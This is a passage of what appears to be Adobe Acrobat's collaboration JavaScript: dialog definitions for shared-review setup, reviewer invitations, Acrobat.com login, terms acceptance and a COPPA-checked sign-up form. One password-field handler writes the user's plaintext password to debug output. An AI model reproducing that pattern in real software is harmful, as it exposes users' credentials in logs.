					width: Collab.wizardWidth

				},

				{

					type: "view",

					alignment: "align_fill",

					align_children: "align_row",

					elements:

					[

						{

							type: "popup",

							alignment: "align_fill",

							item_id: "srvr"

						},

						{

							type: "button",

							name: AnnotsString.IDS_SHARED_REVIEW_SERVER_SELECT_ADD_BUTTON,

							item_id: "adds"

						}

					]

				},

				{

					alignment: "align_fill",

					type: "static_text",

					name: AnnotsString.IDS_SHARED_REVIEW_SERVER_SELECT_DOCUMENT_TEXT,

					wrap_name: true,

					width: Collab.wizardWidth

				},



			].concat(description.description);



			if(app.viewerType.match('Exchange-Pro') != null)

			{

				description.description =

				[

					{

						type: "check_box",

						item_id: "enbl",

						name: AnnotsString.IDS_SHARED_REVIEW_OPTIONS_READER_ENABLE

					}

				].concat(description.description);

			}

		}



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	CBSharedReviewInviteReviewers = function()

	{

	    function getDateControlOrder()

        {

            return app.getString("Forms", "IDS_DEFAULT_DATE_FORMAT")

                .replace(/m+/gi, "m")

                .replace(/d+/gi, "d")

                .replace(/y+/gi, "y")

                .replace(/[^ymd]/g, "")

                .split("")

                .map(function(v)

                {

	                return ({

		                y: "year",

		                m: "dmoy",

		                d: "ddom"

	                })[v]

                });

        };

        

		var description = 

		{

			initialize: function(dialog)

			{

				if(!this.data.reqR)

				{

					this.data.reqR = [];

				}

				else

				{

					this.data.reqR = this.splitAddrs(this.data.reqR);

				}

				

				if(!this.data.optR)

				{

					this.data.optR = [];

				}

				else

				{

					this.data.optR = this.splitAddrs(this.data.optR);

				}



				this.updateAddrs(dialog, true);



				app.beginPriv();

				if(!this.data.raddr)

					this.data.raddr = identity.email;

				app.endPriv();



				var toLoad = {};

				

				dialog.focus("addr");

				dialog.enable({ addr: app.addressBookAvailable });



				if(this.data.distributionMethod == "MANUAL")

					toLoad.next = AnnotsString.IDS_FINISH;



				if(this.data.hasDeadline)

				{

					toLoad.dead = this.data.hasDeadline;

					toLoad.dmoy = "" + (this.data.oDeadline.getMonth() + 1);

					toLoad.ddom = "" + this.data.oDeadline.getDate();

					toLoad.year = "" + this.data.oDeadline.getFullYear();

				}



				dialog.load(toLoad);

			},



			splitAddrs: function(addrs)

			{

				var addrVec = addrs.split(/\;|\n|\r\n|\r/);

				var resultVec = [];

				var j = 0;

				

				for(var i in addrVec)

				{

					var addr = addrVec[i].replace(/^\s*(\S(?:.*\S)?)\s*$/, "$1");

					

					if(addr)

						resultVec[j++] = addr;

				}

				

				return resultVec;

			},



			joinAddrs: function(addrs)

			{

				return addrs.join("\n");

			},



			updateAddrs: function(dialog, dataIn)

			{

				// load from or to the dialog?

				if(dataIn)

				{

					// load the value into the dialog

					var p = 

					{

						reqR: this.joinAddrs(this.data.reqR),

						optR: this.joinAddrs(this.data.optR)

					};

					dialog.load(p);

				}

				else

				{

					// split out the addresses to store

					var p = dialog.store();

					this.data.reqR = this.splitAddrs(p.reqR);

					this.data.optR = this.splitAddrs(p.optR);

				}

			},



			idle: function(dialog)

			{

				var props = dialog.store();

				var toEnable = {};



				var s = this.splitAddrs(props.reqR);

				// TODO: Some fancier address validation would be nice!



				if(this.data.distributionMethod == "MANUAL")

					toEnable.next = true; // Optional for manual

				else toEnable.next = s.length > 0;



				toEnable.ddom = props.dead;

				toEnable.dmoy = props.dead;

				toEnable.year = props.dead;



				if(props.dead)

				{

					var dom = parseInt(props.ddom, 10);

					var moy = parseInt(props.dmoy, 10);

					var year = parseInt(props.year, 10);

					var now = new Date();



					var isValid = (1 <= moy) && (moy <= 12);

					if(isValid) isValid = (1 <= dom) && (dom <= 31);

					if(isValid) isValid = (year >= now.getFullYear() && (year <= 2199));

					toEnable.next = toEnable.next && isValid;

				}



				dialog.enable(toEnable);

			},



			addr: function(dialog)

			{

				this.updateAddrs(dialog, false);

				

				var addrs;

				

				try

				{

					var joinedReqR = this.data.reqR.join(";");

					var joinedOptR = this.data.optR.join(";");

					app.beginPriv();

					addrs = app.mailGetAddrs({ cTo: joinedReqR, cCc: joinedOptR, bCc: true, bBcc: false });

					app.endPriv();

				}

				catch(e)

				{

					// XXX ugh... need to catch throws about invalid e-mail addresses sep. from cancellation throws

				}

				

				if(addrs)

				{

					this.data.reqR = this.splitAddrs(addrs[0]);

					this.data.optR = this.splitAddrs(addrs[1]);

					this.updateAddrs(dialog, true);

				}

			},



			commit: function(dialog, next)

			{

				if(next)

				{

					var props = dialog.store();

					this.updateAddrs(dialog, false);

					

					var props = dialog.store();

					this.data.hasDeadline = props.dead;

					if(props.dead)

					{

						var dom = parseInt(props.ddom, 10);

						var moy = parseInt(props.dmoy, 10);

						var year = parseInt(props.year, 10);

						this.data.oDeadline = new Date();

						this.data.oDeadline.setFullYear(year);

						this.data.oDeadline.setMonth(moy - 1); // JavaScript Month runs 0 - 11

						this.data.oDeadline.setDate(dom);

						this.data.cDeadline = util.printd(0x8002, this.data.oDeadline);

					}

					else this.data.oDeadline = undefined;



					var driver = this.data.drivers[this.data.server.URL];



					app.beginPriv();

					var sourceURL = driver.getInitiatorSource("test", this.data.server.Settings);

					app.endPriv();



					var oURL = util.crackURL(sourceURL);



					switch(this.data.distributionMethod)

					{

						case "UPLOAD":

							this.data.msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_LINK_EMAIL;

							this.data.msg = this.data.msg.replace(/%review_url%/, this.data.distributionURL);

							break;



						case "MANUAL":

							break;



						default:

						case "EMAIL":

							this.data.msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL;

							this.data.msg = this.data.msg.replace(/%review_name%/, this.data.cDocumentName );

							break;

					}



					this.data.msgChanged = false; // Do this so the Email preview doesn't whack our invite



					var s = this.data.msg;

					s = s.replace(/%server_name%/, oURL.cHost);



					// Deadline message

					if(typeof this.data.oDeadline != "undefined")

					{

						s = s.replace(/%deadline_msg%/, AnnotsString.IDS_SHARED_REVIEW_INVITE_DEADLINE);

						s = s.replace(/%cDeadline%/, this.data.cDeadline);

					}

					else s = s.replace(/%deadline_msg%/, "");



					if(this.data.readerEnable)

					{

						s = s.replace(/%client_requirement_msg%/, AnnotsString.IDS_SHARED_REVIEW_INVITE_READER);

						s = s.replace(/%get_reader_text%/, AnnotsString.IDS_SHARED_REVIEW_GET_READER);

					}

					else

					{

						s = s.replace(/%client_requirement_msg%/, AnnotsString.IDS_SHARED_REVIEW_INVITE_NO_READER);

						s = s.replace(/%get_reader_text%/, "");

					}

					this.data.msg = s;

					this.data.subj = this.data.cannedSubj.replace(/%docname%/, (this.data.cDocumentName));

				}

			},

			description:

			[

				{

					type: "view",

					alignment: "align_fill",

					elements:

					[

						{

							type: "button",

							name: AnnotsString.IDS_INVITE_ADDRESS_BOOK,

							item_id: "addr"

						},

						{

							type: "static_text",

							name: AnnotsString.IDS_INVITE_REQUIRED,

							font: "dialog",

							bold: true,

						},

						{

							type: "edit_text",

							multiline: true,

							height: { prod: [ 3, { edit_text_height: [] } ] },

							item_id: "reqR",

							alignment: "align_fill"

						},

						{

							type: "static_text",

							name: AnnotsString.IDS_INVITE_OPTIONAL,

							font: "dialog",

							bold: true,

						},

						{

							type: "edit_text",

							multiline: true,

							height: { prod: [ 2, { edit_text_height: [] } ] },

							item_id: "optR",

							alignment: "align_fill"

						},

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "check_box",

									item_id: "dead",

									name: AnnotsString.IDS_SHARED_REVIEW_OPTIONS_DEADLINE

								},

								{

									type: "edit_text",

									item_id: getDateControlOrder()[0],

									width: (getDateControlOrder()[0] == "year") ? 40 : 20

								},

								{

									type: "static_text",

									name: AnnotsString.IDS_DATE_SEP,

								},

								{

									type: "edit_text",

									item_id: getDateControlOrder()[1],

									width: (getDateControlOrder()[1] == "year") ? 40 : 20

								},

								{

									type: "static_text",

									name: AnnotsString.IDS_DATE_SEP,

								},

								{

									type: "edit_text",

									item_id: getDateControlOrder()[2],

									width: (getDateControlOrder()[2] == "year") ? 40 : 20

								},

							]

						}

					]

				}

			]

		};

		

		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		return description;

	}



	IWSharedReviewDocCenterServicesDialog = function()

	{

		var description = 

		{

			initialize: function(dialog)

			{

			},



			idle: function(dialog)

			{

				// doing nothing here

				return;

			},

			

			commit: function(dialog)

			{

			},



			"agul": function(dialog)

			{

				var url = (app.viewerType == "Reader") ? AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_READER : AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_ACROBAT;

				app.launchURL(url, true);

			},

			

			description:

			{

				name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE_LINK,

				align_children: "align_left",

				width: 400,

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "static_text",

								name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE,

								width: 390,

								wrap_name: true,

							},

							

							{

								type: "link_text",

								name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE_LINK,

								item_id: "agul",

							},



							{

								type: "ok_cancel",

								ok_name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_AGREE,

								cancel_name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_DECLINE,

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	IWSharedReviewDocCenterLogin = function(reviewType)

	{

		var description = 

		{

			reviewType: reviewType,

			initialize: function(dialog, next)

			{

				this.data.signup = false;

				var toEnable = 

					{

						"next": false

					}



				var toLoad = {};

				var toShow = {};

				

				toShow.prev = (this.data.reviewType != "DocCenterLogin");				

				



				if (typeof this.data.rememberPassword == "undefined")

					this.data.rememberPassword = true;

				

				if (typeof this.data.isFirstLaunch != "undefined")

				{

					if ((this.data.isFirstLaunch)&&(typeof this.data.user != "undefined")&&(this.data.user != ""))

						this.data.pswd = "******";

				}



				if ((typeof this.data.user == "undefined")||(this.data.user == ""))

				{

				    app.beginPriv();

				    var shareIdentityEmail = shareIdentity.Email;

				    var identityEmail = identity.email;

				    app.endPriv();

				    if(shareIdentityEmail != undefined && shareIdentityEmail != "")

					    this.data.user = shareIdentityEmail;

					else if(identityEmail != undefined && identityEmail != "")

					    this.data.user = identityEmail;

			        else

			            this.data.user = "";

                }

                

				if (typeof this.data.pswd == "undefined")

					this.data.pswd = "";



				if (typeof this.data.rememberPassword != "undefined")

					toLoad.rmbr = this.data.rememberPassword;



				toLoad.user = this.data.user;

				toLoad.pswd = this.data.pswd;



				toLoad.bann = Collab.getIcon("A_AcrobatcomBrandingBanner_592x73.png");

				toLoad.prvw = Collab.getIcon("A_Acrobatcom_SignIn_230x230_N.png");



				toLoad.next = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LOGIN;

				

				toShow.help = false;

				

				//update the status message, and resend email verification link

				{

					dialog.setForeColorRed("stat");

					

					if (this.data.authStatus!= undefined)

					{

						toLoad.stat = this.data.authStatus;

						toShow.stat = true;

						

						if (this.data.authStatus == AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED)

							toShow.resd = true;

						else 

							toShow.resd = false;

					}

					else

					{

						toShow.stat = false;

						toShow.resd = false;

					}

				}



				if (this.data.reviewType == "ShareFile")

				{

					toShow.prev = false;

				}

				

				dialog.focus("user");

				dialog.load(toLoad);

				dialog.enable(toEnable);

				dialog.visible(toShow);

			},



			idle: function(dialog)

			{

				var o = dialog.store();

				var username = o["user"];

				var password = o["pswd"];

				

				var toEnable = {};

                if(this.data.reviewType == "FormDistribution")

                {

                    toEnable.prev = false;

                }

				//if the user credentials are non-null then enable the login button

				if ((username != undefined) && (username != "") && (username != null)

						&&	(password != undefined) && (password != "") && (password != null) )

					toEnable.next = true;

				else

					toEnable.next = false;

					

				dialog.enable(toEnable);

				

				var toLoad = {};

				toLoad.next = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LOGIN;

				dialog.load(toLoad)

			},



			commit: function(dialog, next)

			{

				if (next && !(this.data.signup == true))

				{

					var o = dialog.store();

					this.data.user = o["user"];

					this.data.pswd = o["pswd"];

					this.data.rememberPassword = o["rmbr"];

					

					dialog.enable({"next": false});



					dialog.setForeColorRed("stat");

					dialog.load({"stat": ""});

					dialog.visible({stat: true});

					dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_AUTHENTICATING});

					dialog.visible({"resd": false});

                    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

                    {

                        var addStringToPayloadParams = {};  

				        addStringToPayloadParams.name = "Authentication_Successful";

					}

					try

					{

						var connectCalled = false;

						var driver = getDriver(this.data.reviewType);

						DebugAlert("COMMIT: " + this.data.reviewType);

						var swConn = null;

						app.beginPriv();

						if (typeof this.data.isFirstLaunch != undefined)

						{

							if ((this.data.isFirstLaunch)&&(this.data.pswd == "******"))

							{

								swConn = Collab.swConnect({bShowProgressMonitor:false, cDriver:driver});

								connectCalled = true;

							}

						}

						if (!connectCalled)

							swConn = Collab.swConnect({cUsername: this.data.user, cPassword: this.data.pswd, bSaveCred: this.data.rememberPassword, cDriver:driver});

						app.endPriv();



						if (swConn)

						{

							this.data.swConn = swConn;

							

							app.beginPriv();

							if (Collab.isFirstLaunch(this.data.WT))

							{

								Collab.unsetFirstLaunch(this.data.WT);

							}

							shareIdentity.Email = this.data.user;

							shareIdentity.FullName = swConn.getFullName();

							shareIdentity.Authenticated = true;

							app.endPriv();

							

							dialog.load({"stat": ""});

							dialog.visible({stat: true});

                            if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

                            {

						        addStringToPayloadParams.val = "True";

    		                    

						        app.beginPriv();

						        Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						        app.endPriv();

						    }   

							DebugPrintln("Successfully connected to Acrobat.com");

							DebugAlert("IWSharedReviewDocCenterLogin: Login successful");

							

						}

						else

						{

						    

						    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

                            {

						        addStringToPayloadParams.val = "False";

    		                    app.beginPriv();

						        Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						        app.endPriv();

						    }   

							DebugAlert("Login Failed. Please enter correct credentials");

							DebugThrow("Login was unsuccessful, try again");

						}

						dialog.enable({"next": true});

					}

					catch(e)

					{

					    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

                        {

					        addStringToPayloadParams.val = "False";

		                    app.beginPriv();

					        Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

					        app.endPriv();

					    }

						dialog.enable({"next": true});

						

						ANDumpObj(e);

						dialog.setForeColorRed("stat");

						if (e.errorCode == 403 || e.errorCode == 401)

						{

							dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

							dialog.visible({stat: true});

							DebugThrow("Login was unsuccessful, try again");

						}

						else if (e.errorCode == 402)     // terms of usage not accepted

						{

							var desc = IWSharedReviewDocCenterServicesDialog();

							app.beginPriv();

							var result = app.execDialog(desc);

							app.endPriv();



							if (result == "ok")

							{

								//user accepted the agreement, but you don't have the swConn object right now 

								app.beginPriv();

								var acceptResult = Collab.swAcceptTOU(this.data.user, this.data.pswd);

								app.endPriv();

								

								if (acceptResult == 0)

								{

									try

									{

									    var driver = getDriver(this.data.reviewType);

										app.beginPriv();

										var swConn = Collab.swConnect({cUsername: this.data.user, cPassword: this.data.pswd, bSaveCred: this.data.rememberPassword, cDriver:driver});

										app.endPriv();

				                        

										if (swConn)

										{

											this.data.swConn = swConn;

											

											app.beginPriv();

											if (Collab.isFirstLaunch(this.data.WT))

											{

												Collab.unsetFirstLaunch(this.data.WT);

											}

											shareIdentity.Email = this.data.user;

											shareIdentity.FullName = swConn.getFullName();

											shareIdentity.Authenticated = true;

											app.endPriv();

											if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

											{

											    addStringToPayloadParams.val = "True";

    		

						                        app.beginPriv();

						                        Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						                        app.endPriv();

						                    }

											DebugPrintln("Successfully connected to Acrobat.com");

											DebugAlert("IWSharedReviewDocCenterLogin: Login successful");											

										}

									}

									catch(e)

									{

										dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

										dialog.visible({stat: true});										

										//there was a throw from the C++ side.

										DebugThrow("Login was unsuccessful, try again");

									} 

								}

								else

								{

									dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

									dialog.visible({stat: true});

									DebugThrow("Login was successful, but attempt to accept services agreement failed");

								}

							}

							else

							{

								dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

								dialog.visible({stat: true});								

								DebugThrow("Login was successful, but user did not accept services agreement");

							}

						}

						else if (e.errorCode == 405)     // account not verified (grace period expired)

						{

							//This is the case when login is valid but error is that the user needs 

							// confirm the adobe id request. So enable resd and update the status	

							dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED});

							dialog.visible({"resd" : true});

							dialog.visible({stat: true});

							DebugThrow("Login was successful, but need to verify email address");

						}

						else if (e.errorCode == 0 || e.errorCode >= 400)    // interpret all other errors as a server connection problem

						{

							dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CANNOT_CONNECT});

							dialog.visible({stat: true});

							DebugThrow("Login was unsuccessful, try again");

						}

						else

						{

							DebugThrow("Login was unsuccessful, try again");

						}

					}

				}

			},

			

			"crID": function(dialog)

			{

			    this.data.signup = true;

			    dialog.next();

			},

			

			"user": function(dialog)

			{

				//the value entered needs to be saved if the checkbox is true

				var o = dialog.store();

				this.data.user = o["user"];

			},

			

			"pswd": function(dialog)

			{

				//the value entered needs to be saved if the checkbox is true

				var o = dialog.store();

				this.data.pswd = o["pswd"];

				DebugPrintln("password:"+this.data.pswd+"******");

			},



			"rmbr": function(dialog)

			{

				var o = dialog.store();



				if (o["rmbr"])

					this.data.rememberPassword = true;

				else

					this.data.rememberPassword = false;

			},



			"frgt": function(dialog)

			{

				var frgt_url = (app.viewerType == "Reader") ? AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_FORGOT_PASSWORD_URL_READER : AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_FORGOT_PASSWORD_URL_ACROBAT;

				app.launchURL(frgt_url, true);

			},



			"resd": function(dialog)

			{

				app.beginPriv();

				var verifyResult = Collab.swSendVerifyEmail(this.data.user, this.data.pswd);

				app.endPriv();

				DebugPrinltn("Collab.swSendVerifyEmail: result:"+verifyResult);

			},



			description:

			[

				{

					type: "view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					//margin_height: Collab.marginHeight,

					//margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "image",

							item_id: "bann",

							width: 592,

							height: 73,

						},

						{

							type:"view",

							//margin_height: Collab.marginHeight, 

							margin_width: Collab.wizardMarginWidth,

							align_children: "align_top",

							alignment: "align_fill",

							elements:

							[

								{

									type: "gap",

									width: 3,

								},

								{

									type:"view",

									align_children:"align_left",

									elements:

									[

										{

											type: "gap",

											height: 10,

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_ACROBAT_DOT_COM_MARKETING_MESSAGE,

											wrap_name:true,

											width: 230,

											bold: "true",

											font: "dialog",

										},

										{

											type: "gap",

											height: 2,

										},

										{

											type: "image",

											item_id: "prvw",

											width: 230,

											height: 230,

										},

									]

								},

								{

									type: "gap",

									width: 18,

								},

								{

									type:"view",

									align_children:"align_left",

									elements:

									[

										{

											type:"view",

											elements:

											[

												{

													type:"view",

													align_children:"align_left",

													elements:

													[

														{

															type: "gap",

															height: 10,

														},

														{

															type:"static_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_SIGNUP,

															bold:true,

															font: "dialog"

														},

														{

															type:"link_text",

															item_id:"crID",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATE_ADOBEID

														}

													]

												}

											]

										},

										{

											type: "gap",

											height: 24,

										},

										{

											type:"view",

											elements:

											[

												{

													type:"view",

													align_children:"align_left",

													elements:

													[

														{

															type:"static_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ALREADY_ID,

															bold:true,

															font: "dialog"

														},

														{

															type:"static_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ADOBE_ID

														},

														{

															type:"edit_text",

															item_id:"user",

															width: 250

														},

														{

															type:"static_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PASSWORD

														},

														{

															type:"edit_text",

															item_id:"pswd",

															width: 250,

															password:true

														},

														{

															type:"check_box",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CHECK_PASSWORD_ME,

															item_id:"rmbr"

														},

														{

															type:"link_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_FORGOT_PASSWORD,

															item_id:"frgt"

														},

														{

															type:"static_text",

															width: 250,

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED,

															wrap_name:true,

															item_id: "stat",

															alignment: "align_fill",

														},

														{

															type:"link_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_RESEND,

															item_id:"resd"

														}

													]

												}

											]

										}

									]

								}

							]

						}

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}

		

	/* Eligibilty Requirements Error Dialog */

	IWSharedReviewDocCenterEligibilityErrorDialog = function()

	{

		var description = 

		{

			initialize: function(dialog)

			{

			},



			idle: function(dialog)

			{

				// doing nothing here

				return;

			},

			

			commit: function(dialog)

			{

			},



			"agul": function(dialog)

			{

				var url = (app.viewerType == "Reader") ? AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_ELIGIBILTY_REQUIREMENT_READER : AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_ELIGIBILTY_REQUIREMENT_ACROBAT;

				app.launchURL(url, true);

			},

			

			description:

			{

				align_children: "align_left",

				width: 400,

				elements:

				[

					{

						type:"group",

						elements:

						[

							{

								type: "static_text",

								name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ELIGIBILTY_ERROR,

								width: 390,

								wrap_name: true,

							},

							

							{

								type: "link_text",

								name: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ELIGIBILTY_REQUIREMENT_LINK,

								item_id: "agul",

							},



							{

								type: "ok",

							}

						]

					}

				]

			}

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}

	

	function IWSharedReviewDocCenterCreateID (reviewType)

	{

        /* First check if Acrobat.com Signup is blocked because of COPPA Restrictions. If yes, display the 

	 	eligibilty requirements error dialog, else continue to the next step. More details about the

	 	APIs and COPPA requirements                 

	 	https://zerowing.corp.adobe.com/display/Acrobat/JavaScript+APIs+for+enforcing+COPPA+Requirements

	 	*/

	 	app.beginPriv();

	 	var disabled = Collab.isDocCentreSignupDisabled();

	 	app.endPriv();

	 		        

	 	if (disabled) {

	 	    var desc = IWSharedReviewDocCenterEligibilityErrorDialog();

	 	    app.beginPriv();

	 	    var result = app.execDialog(desc);

	 	    app.endPriv();

	 	    DebugThrow ("Invalid data");

	 	    return;

	 	}



	 	var _dialog;

		

		/* 

		function to ensure COPPA Requirements, Age >= 13	years for Acrobat.com Signup.

		Gets Birthday date from the Signup dialog and compares against the current system date. 

		if Age >=13 years, returns true, else returns false. 

		*/ 

		function validateAgeRequirements(bMonth, bDay, bYear) {

            // Get current System Date, extract day , month, year

            var cDate  = new Date();

            var cDay = cDate.getDate();

            var cMonth = cDate.getMonth();

            var cYear = cDate.getFullYear();

            

            if (cYear < parseInt(bYear) + 13 )

                return false;

            // If 13th Birthday year, then compare months   

            if ( cYear == parseInt(bYear) + 13 ) {

                if ( cMonth < bMonth )

                    return false;

                // If Birthday month, then compare days

                if ( cMonth == bMonth ) {

                    if ( cDay < bDay)

                        return false;

                    }

                }

            

            return true;

		}

		

		/* 

		function to ensure Birthday entered in Signup dialog is a valid Birthday date 

		*/ 

		function validateBirthDay(bMonth, bDay, bYear) {

		            

		    var minYear = 1900;

		    

	        // Month, Day and Year should be number

	        if ( isNaN(bMonth) || isNaN(bDay) || isNaN(bYear) ) 

	            return false;

	            

	        if (bYear < minYear )

	            return false;	  

	                      

	        // Month Index are from 0 to 11,January is 0, February is 1, and so on as per ISO date standard

	        if (bMonth < 0 || bMonth > 11) 

	            return false;

	        // Day must be between 1 and 31    

	        if (bDay < 1 || bDay > 31) 

	            return false;

	        

	        // April, June, September and November have 30 days

	        if ((bDay == 31) && ( bMonth == 3 || bMonth == 5 || bMonth == 8 || bMonth == 10 ))

	            return false;

	        

	        // February has 28 days in normal year 29 days in any year evenly divisible by four,

            // EXCEPT for centurial years which are not also divisible by 400.

	        if (bMonth == 1) {

	            if ((bYear % 4 == 0) && ( (!(bYear % 100 == 0)) || (bYear % 400 == 0))) {

	                if (bDay > 29) 

	                    return false;

	                }

	            else {

	                if (bDay > 28) 

	                    return false;

	                }

	        }



            // Your birthday can not be more than the current system date

	        var currDate  = Date();

	        var bDayDate = new Date (bYear, bMonth, bDay);

	        if (bDayDate > currDate)

	            return false;

 

            // Valid Birthday date

	        return true;		    

	    }



		var nameFields = 

		(!hasHanko())

		?

				[

					{

						type:"static_text",

						name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_FIRST_NAME,

						bold:true,

						font: "dialog"

					},

					{

						type:"edit_text",

						item_id:"fNam",

						width: 230,

						password:false

					},

					{

						type:"static_text",

						name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LAST_NAME,

						bold:true,

						font: "dialog"

					},

					{

						type:"edit_text",

						item_id:"lNam",

						width: 230,

						password:false

					},

				]

		:

				[

					{

						type:"static_text",

						name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LAST_NAME,

						bold:true,

						font: "dialog"

					},

					{

						type:"edit_text",

						item_id:"lNam",

						width: 230,

						password:false

					},

					{

						type:"static_text",

						name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_FIRST_NAME,

						bold:true,

						font: "dialog"

					},

					{

						type:"edit_text",

						item_id:"fNam",

						width: 230,

						password:false

					},

				]



		var countries = {};

		var months = {};

		

		var description = 

		{

			reviewType: reviewType,

			initialize: function(dialog)

			{

			    // Initilizing Months in the Birthday popup

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_JAN] = 0;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_FEB] = 1;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MAR] = 2;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_APR] = 3;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MAY] = 4;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_JUN] = 5;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_JUL] = 6;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AUG] = 7;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_SEP] = 8;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_OCT] = 9;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_NOV] = 10;

				months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_DEC] = 11;

			

				//countries[AnnotsString.IDS_COUNTRY_SELECT_ONE] = 1;

				countries[AnnotsString.IDS_AF] = "AF";

				countries[AnnotsString.IDS_AL] = "AL";

				countries[AnnotsString.IDS_DZ] = "DZ";

				countries[AnnotsString.IDS_AS] = "AS";

				countries[AnnotsString.IDS_AD] = "AD";

				countries[AnnotsString.IDS_AO] = "AO";

				countries[AnnotsString.IDS_AI] = "AI";

				countries[AnnotsString.IDS_AQ] = "AQ";

				countries[AnnotsString.IDS_AG] = "AG";

				countries[AnnotsString.IDS_AR] = "AR";

				countries[AnnotsString.IDS_AM] = "AM";

				countries[AnnotsString.IDS_AW] = "AW";

				countries[AnnotsString.IDS_AU] = "AU";

				countries[AnnotsString.IDS_AT] = "AT";

				countries[AnnotsString.IDS_AZ] = "AZ";

				countries[AnnotsString.IDS_BS] = "BS";

				countries[AnnotsString.IDS_BH] = "BH";

				countries[AnnotsString.IDS_BD] = "BD";

				countries[AnnotsString.IDS_BB] = "BB";

				countries[AnnotsString.IDS_BY] = "BY";

				countries[AnnotsString.IDS_BE] = "BE";

				countries[AnnotsString.IDS_BZ] = "BZ";

				countries[AnnotsString.IDS_BJ] = "BJ";

				countries[AnnotsString.IDS_BM] = "BM";

				countries[AnnotsString.IDS_BT] = "BT";

				countries[AnnotsString.IDS_BO] = "BO";

				countries[AnnotsString.IDS_BA] = "BA";

				countries[AnnotsString.IDS_BW] = "BW";

